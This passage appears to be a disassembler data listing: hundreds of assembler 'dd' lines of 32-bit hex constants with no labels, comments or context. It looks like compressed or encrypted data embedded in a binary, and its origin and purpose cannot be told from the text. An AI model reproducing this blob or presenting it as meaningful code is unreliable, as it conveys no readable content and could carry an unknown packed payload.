		dd 36404A3Ch, 73FC5FCh,	27895657h, 7FF7405Ch, 9D06E7D1h
		dd 0F899CA9Bh, 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh
		dd 54C105F6h, 78410175h, 2DAA0029h, 5AD91996h, 783D1785h
		dd 0DFB0067h, 0D83B622Eh, 9FDA00C0h, 50127DC5h,	0D000A928h
		dd 597A8E90h, 15A5F25h,	802AF4D3h, 0D0C6AACAh, 67003164h
		dd 21D20BFFh, 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch
		dd 0EA2112FAh, 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch
		dd 95543200h, 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh
		dd 0D0885F03h, 98E16392h, 67503h, 4648F82Eh, 766CCCA2h
		dd 97299800h, 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch
		dd 6BF9C000h, 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh
		dd 0D90070FCh, 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h,	944A8C26h
		dd 8E7B9000h, 4B9FBC01h, 9DC400DFh, 0E8D602CBh,	0A6F259FBh
		dd 3C1C1900h, 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h
		dd 6C0524B1h, 8F9A289Ch, 62B01E87h, 0F732E76Fh,	0A8DAADCh
		dd 60537BE2h, 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h
		dd 7D510068h, 0B22890FCh, 612C8C5h, 0CC0012F4h,	0CE390E16h
		dd 0ACB01CA1h, 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh
		dd 0BF845FF7h, 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h
		dd 575302Dh, 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h
		dd 0F8C825D8h, 1DFEB31h, 22BBE414h, 0C42E6440h,	0B40F2919h
		dd 9C2649h, 0DC75C3E0h,	0A6525851h, 5AFBCD04h, 0A08D80EEh
		dd 6000273h, 7D80DB31h,	727C9AEBh, 12CA000Ah, 42D10104h
		dd 8758A4ACh, 570C1FFDh, 0E948F7Ah, 0E99D009Ah,	3C610ABAh
		dd 0C6004454h, 5A18A104h, 9E7F8B59h, 15D8331Dh,	302AF880h
		dd 0E80A2274h, 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h
		dd 12AC0B6h, 3E5080C3h,	1A0B9403h, 0D68AE958h, 46178Dh
		dd 1277A7DEh, 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch
		dd 4F1F0086h, 24C2ACDCh, 0C12488DFh, 6E029DFFh,	0E070523Ch
		dd 75015Ah, 0DE348D0Ch,	4A0F06D8h, 43F0B60Fh, 669D8024h
		dd 0F4406Dh, 0AA08CC6Eh, 7F88C111h, 0F1816F00h,	41276112h
		dd 4A1800CAh, 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h
		dd 2C0111BEh, 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h
		dd 5D8DA330h, 20120061h, 0F29D1399h, 53007368h,	44F9800Bh
		dd 0B0C8D074h, 2A600EB4h, 40DE580Ah, 826FB4B9h,	0F70023EBh
		dd 1E575243h, 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h
		dd 2D02B04Fh, 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh
		dd 9D038BCCh, 785848h, 92598043h, 60EAE2BDh, 723AE900h
		dd 2907C383h, 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h
		dd 0AF4D8D00h, 91A1F129h, 0E3B72E0h, 39907654h,	0AEA7842h
		dd 0D330F660h, 0F17B100h, 8F4257B5h, 22111E15h,	3D854010h
		dd 93ACE092h, 90017E0h,	0F70E79C0h, 29E8D8h, 51875E81h
		dd 65997E9Fh, 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h
		dd 520191FEh, 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh
		dd 3C96245Bh, 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh
		dd 1235C0C8h, 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h
		dd 0F0713B13h, 6AD6B7h,	0EBCA5D5Fh, 7C95170Bh, 9053400h
		dd 0EABA74F6h, 3B710001h, 6F77E04Dh, 0C01901Ah,	0D605091h
		dd 2FC2A65h, 0E3291C97h, 0F24F8033h, 5FB686F9h,	5040411Ch
		dd 45C78880h, 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h
		dd 6E98E103h, 0C047EFB3h, 1FF3F77h, 0DF450E9Dh,	0E5029038h
		dd 4440EE46h, 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h
		dd 139EC92h, 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h
		dd 8B0291h, 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h
		dd 0B886FA50h, 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh
		dd 0D9AB50C3h, 736FF680h, 0FD4F035h, 2024B211h,	34E6BF40h
		dd 9600F1FAh, 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h
		dd 0E8D7F830h, 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h
		dd 87009124h, 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h
		dd 391F5E00h, 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh
		dd 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h
		dd 3EE6EAEh, 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h
		dd 2C23B38h, 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h
		dd 0A6B4BA7h, 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh
		dd 2563E08Dh, 0E419F6h,	4118C5Eh, 3490DCA4h, 7ADD6105h
		dd 61870DD8h, 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h
		dd 16C0D848h, 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h
		dd 681C9D0Bh, 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh
		dd 0FA3B0C4Dh, 47203Ch,	0F841F940h, 0E8FE0581h,	3AD48200h
		dd 6939FFB8h, 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h
		dd 0D14020C2h, 9FE810h,	0AD6CD61h, 0DB307828h, 0C8AE0660h
		dd 0EA4714Fh, 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h
		dd 39A4BB80h, 92718770h, 8BC09757h, 881EC5h, 66517231h
		dd 0FDC79A5h, 0CF094F07h, 57D010D5h, 278461h, 7E811575h
		dd 456744A1h, 37E3C000h, 97173259h, 2B8E0056h, 88723810h
		dd 407CDAF4h, 915FF800h
		dd 0E1E44D28h, 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h
		dd 0D64BEB4h, 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h
		dd 0A15AF120h, 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h
		dd 0D8FE28E7h, 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h
		dd 3431EC04h, 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h
		dd 167ABD3Ah, 7E772700h, 72052026h, 787A67h, 33F0CE0Ch
		dd 3F6C18FBh, 81C7FC00h, 0FE465C3Bh, 94620077h,	17904815h
		dd 30070E7Eh, 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch
		dd 0A0C18B49h, 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h
		dd 0F06A2BF2h, 6CB14012h, 0F3FD2B00h, 0C36231h,	23EE810Ah
		dd 857524D9h, 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah
		dd 7791F073h, 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch
		dd 61BA1480h, 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh
		dd 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h
		dd 64E00D2Ah, 5BB35F4h,	8C063757h, 902BC0F0h, 7034612h
		dd 497D834Ah, 819DE0A5h, 0B1F90017h, 7C660F3Ah,	0E90206BEh
		dd 90109ED3h, 12FDC071h, 19130052h, 0F2BCED7Dh,	5004672h
		dd 8EACBA66h, 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h
		dd 0EE000DDEh, 3E6B322Eh, 74410764h, 132A56D8h,	10B04490h
		dd 503B55Ch, 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h
		dd 5000CB2Ch, 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h
		dd 0B400AD4Ah, 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch
		dd 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h
		dd 0F207BA5Eh, 514E444Ch, 342507D0h, 8060094h, 50FE1391h
		dd 205C67FDh, 575E0011h, 2590E9D6h, 0B47E00E0h,	27E85082h
		dd 0BB019148h, 9D0EED4Ch, 99F3540Ah, 43FC2B63h,	0DD530F1Fh
		dd 28E7A65Ch, 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h
		dd 1EDD8015h, 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh
		dd 4B009235h, 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh
		dd 514058B5h, 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h
		dd 0D79E7323h, 51D0C8h,	6A621EB6h, 9499F502h, 41585700h
		dd 0E08A6505h, 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h
		dd 64EBDFDBh, 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h
		dd 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch, 48000AE2h,	0CC264A01h
		dd 0EE51554Eh, 877EA6h,	5277E84Fh, 0DB4D3FE3h, 0C8004AECh
		dd 142FBECBh, 58C64175h, 551C1E44h, 0B7D0C06Ah,	7C4CB950h
		dd 94613Dh, 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h
		dd 400923AAh, 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h
		dd 0C8FB14F4h, 0AE02750Dh, 44748861h, 5064090h,	9B7BB9h
		dd 0F859F913h, 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h
		dd 4B6F7181h, 0C9606042h, 2A001E75h, 2E8F039Eh,	0FC1CE9h
		dd 73706C85h, 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh
		dd 8B1CF3CBh, 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh
		dd 3C961F74h, 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh
		dd 2E10C08Bh, 2AE200B5h, 0B297C44Ch, 590F44CCh,	40D4E542h
		dd 0D0112CF2h, 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h
		dd 48901h, 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h
		dd 7CD5B4ACh, 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h
		dd 90BBA27h, 0E1F9BAFh,	5DA2D77Dh, 8F806EEFh, 0CEFD3C41h
		dd 0C80720E9h, 54046A00h, 37503056h, 0DF442568h, 16245500h
		dd 420099BAh, 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh
		dd 80102903h, 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h
		dd 98008C31h, 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h
		dd 70FACACBh, 8902807Bh, 0C2D40E09h, 825AC0C1h,	25E43Dh
		dd 75B0A166h, 0E80C5E5Ah, 0DDD0F00h, 13C4F330h,	0FEDB0016h
		dd 0C32FC2D9h, 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h
		dd 0BC16CC20h, 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh
		dd 0D8434B5Fh, 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh
		dd 0EB41120Eh, 0A30FE620h, 144D0500h, 24731682h, 2210032h
		dd 774CCE54h, 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh
		dd 8DC0C084h, 29005077h, 0B75AF7E8h, 5C63B9C4h,	9000940Fh
		dd 1F783352h, 55007EEBh, 4882694h, 7121179h, 0A2C314A4h
		dd 0FA56F003h, 4E039FACh, 30E2B810h, 7459D898h,	736B040h
		dd 0C4370E64h, 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h
		dd 471C4D6h, 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h
		dd 1A0C5903h, 1EE0B879h, 373E14CEh, 0B4080065h,	0B648E82Ch
		dd 20990024h, 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h
		dd 0BB3A00FBh, 5EDA90F5h, 850054E0h, 24D6D07Ah,	710BCF8h
		dd 810D48D7h, 411BF0BDh, 1C00752Fh, 0EE5C987Ah,	0E88BFD44h
		dd 25A000D4h, 469437E8h, 23017542h, 0EC971C9Ch,	48F02259h
		dd 4F6100B5h, 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h
		dd 0E85CB227h, 45759331h, 8842D01Fh, 24FEF300h,	11196h
		dd 0BB125F22h, 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch
		dd 69D61C4Fh, 0BB002145h, 0E0F31E12h, 0B5D831h,	0CE4D59E3h
		dd 36D022Bh, 832EFF00h,	4B58BFD5h, 26360065h, 3F9DA4C2h
		dd 5D0038A1h, 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h
		dd 0A1FE3B6h, 28C01B6Bh, 0C896C0Dh, 0F8C60F67h,	420CAACh
		dd 0B026CC91h, 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h
		dd 0C0509DA5h, 6FCC4B6h, 0C800BDEAh, 8D22CC64h,	90504AA3h
		dd 0A48C0EDCh, 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h
		dd 2E01A6h, 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h
		dd 0D0A10013h, 7F80F0C2h, 1A012A61h, 409F0F2Fh,	9A70C8C4h
		dd 7A9700CFh, 0E6B4035Ah, 6A7F2736h, 8ACA5100h,	7CE966A8h
		dd 10680013h, 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h
		dd 98FAD3h, 0D217A33Bh,	8D7D30ABh, 0B3044700h, 9BBA693h
		dd 0DDDB0184h, 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h
		dd 5212C3Dh, 4D6E008Bh,	3B022408h, 0F5000789h, 0C3C7B5FCh
		dd 5810DBCFh, 5A009471h, 0EC598B7Eh, 8003A234h,	0FC9182B7h
		dd 0F3C095B4h, 3E6CFEh,	5A8F59F5h, 7E03C48Dh, 0BAF82000h
		dd 5292B102h, 9A7E6B7h,	78800498h, 0BE00AA74h, 691B6693h
		dd 168D0034h, 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h
		dd 331720F3h, 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h
		dd 2E5DDD34h, 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h
		dd 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h
		dd 55B88B04h, 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h
		dd 8880B494h, 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah
		dd 600F060Bh, 7216EA83h, 0EB100403h, 90F8A123h,	0E421DDDFh
		dd 74400FCh, 0C50477C1h, 340062C9h, 0CFF14858h,	247DC752h
		dd 0ABDC50h, 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh
		dd 0CFE200FCh, 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h
		dd 0D40DA092h, 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h
		dd 0EECF869h, 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h
		dd 68C1A1E0h, 0FB0A8058h
		dd 0FC00EA51h, 0A5666F64h, 0B191CEh, 117FB762h,	0D3D52DE0h
		dd 0F0466909h, 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh
		dd 8C41FC2Ch, 63A6813Dh, 0C183040Ah, 1F2DF4CCh,	3AFDBBh
		dd 9AC02456h, 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch
		dd 6A0D4680h, 8403FB91h, 0FE1EDDEAh, 2353D814h,	3C100055h
		dd 8EEB7C72h, 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h
		dd 408C012Fh, 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h
		dd 2B30487h, 9D09CB08h,	200C9C03h, 160EF80Dh, 1A840090h
		dd 687013E8h, 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h
		dd 54CEE6EAh, 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h
		dd 2EAD812h, 7B8300A8h,	0F7F6114h, 7C00A522h, 0B4496847h
		dd 589C88h, 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
		dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h,	719684FCh
		dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh,	32E0A95h
		dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h,	0C0C0BE8Bh
		dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh,	522D0DD0h
		dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h
		dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh
		dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h
		dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh
		dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch
		dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h,	3430641Dh
		dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h
		dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h,	855EA488h
		dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h
		dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h,	0B0216ACAh
		dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h
		dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h
		dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h
		dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h
		dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h,	0FECB1907h
		dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h
		dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h,	0E47D56h
		dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h
		dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h,	0EE6DA2Dh
		dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h,	0DC940Ch
		dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh
		dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h,	0E18A64h
		dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h
		dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch
		dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h
		dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h
		dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h
		dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h
		dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h
		dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h
		dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h,	0BC70049h
		dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h,	0ACBE0460h
		dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h
		dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h,	0EFE50203h
		dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah,	3B159449h
		dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h,	1D5540C5h
		dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch
		dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h,	0CCF26007h
		dd 0B7500CBh, 2C683EEh,	0E003255Fh, 7A2A1D0Ah, 0CC50F040h
		dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h,	6D53F92Ch
		dd 7C9842h, 0FBE82A14h,	0BF1BEAFAh, 4500B1F6h, 0E05135Eh
		dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h
		dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh
		dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h
		dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h,	1D0FBA2Ch
		dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h,	196E4C16h
		dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh
		dd 0D11F3Bh, 2D7B5D3Ch,	0E468A3h, 0F8B8292Ah, 8D4C4D2h
		dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh,	6D1EBA3Ah
		dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h
		dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h
		dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h
		dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h
		dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h
		dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh
		dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h,	0DDABC0E3h
		dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h
		dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h
		dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h
		dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch,	0DB84CE52h
		dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh
		dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h,	3F094091h
		dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h,	0D925BD38h
		dd 5A06EC3Dh, 0B60A5Ch,	13406974h, 3D21E992h, 3E7CA84Bh
		dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h
		dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh
		dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h
		dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh,	5C328085h
		dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh,	58891040h
		dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h
		dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h
		dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h
		dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh,	88DC0FA1h
		dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h,	0CA88CABh
		dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h
		dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh
		dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h
		dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh
		dd 38E0AC84h, 7CEFD80h,	1CF47Ch, 68281178h, 89740F18h
		dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch,	0F8FAF71Eh
		dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh
		dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h
		dd 9FC700Ah, 7D97E800h,	81BA2098h, 80510995h, 0E0803F60h
		dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h,	0F3133AFCh
		dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h
		dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh,	18BF0372h
		dd 2C7F40FBh
		dd 9B831F4Ch, 0D0FCC08Bh, 282DF876h, 317FFF00h,	86730232h
		dd 0F3E11CC8h, 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h
		dd 0E76D6123h, 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h
		dd 6C30BFF3h, 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh
		dd 8C44A0A1h, 10917BEh,	763352A3h, 0E011D825h, 88028F4Bh
		dd 0AAC81B1h, 2B57E0C0h, 0C3B01F82h, 86E64084h,	2D3D1480h
		dd 6D55AA12h, 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h
		dd 0C97E0B1Ah, 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh
		dd 0D8F320D9h, 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h
		dd 8A001508h, 6623A2E0h, 0A20E86ABh, 2A54C0C3h,	4081007Fh
		dd 0E3FE3306h, 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h
		dd 116049D2h, 2BB48719h, 86081C01h, 27204EAh, 0EB09330h
		dd 0E65D8A45h, 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h
		dd 83067Dh, 0D7DAF7A7h,	0B1E46A6Fh, 0C4008AE0h,	8B5092AAh
		dd 32DC61h, 258C35F7h, 5B23F1Dh, 49430A01h, 0ED15D50Bh
		dd 8BE980E7h, 0AA040709h, 10F8DC3Bh, 4B735852h,	830E0F98h
		dd 0A01D12FAh, 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h
		dd 0E03A8889h, 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh
		dd 4B0D002Dh, 3DA0F475h, 0C57C031Eh, 4AEAEB32h,	0C3FF1AA8h
		dd 3C2EE358h, 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h
		dd 81891D8Ah, 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h
		dd 0E9027F76h, 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h
		dd 1E74D03Ch, 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch
		dd 0F7CC0784h, 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h
		dd 5C00041h, 0EADFC42Bh, 26B8B701h, 0BA402A00h,	0BDE7602h
		dd 1720029Bh, 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h
		dd 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h
		dd 3600FD20h, 33C81067h, 299D28h, 99593577h, 6E1940D0h
		dd 0D9D60B1Eh, 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h
		dd 0E9EAC1EAh, 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h
		dd 68C61B28h, 0F0578D00h, 5A80E84Ch, 9C220081h,	4BE96CBAh
		dd 591F13F4h, 60C79001h, 80F7B951h, 0C0A0A4C7h,	0FE6F2B7h
		dd 0E3AFF599h, 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h
		dd 16207536h, 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh
		dd 3046BA33h, 403421EBh, 0B716C30Eh, 8745C019h,	0DA74D7h
		dd 55F0F73Bh, 4E775D05h, 1C042498h, 0D0E9FB26h,	8BF00BBh
		dd 3CAC1DE3h, 374272Ch,	4D228039h, 103E9620h, 0EF560060h
		dd 648AEDE2h, 47F1906h,	52450B07h, 0C373020Dh, 3AAC88C0h
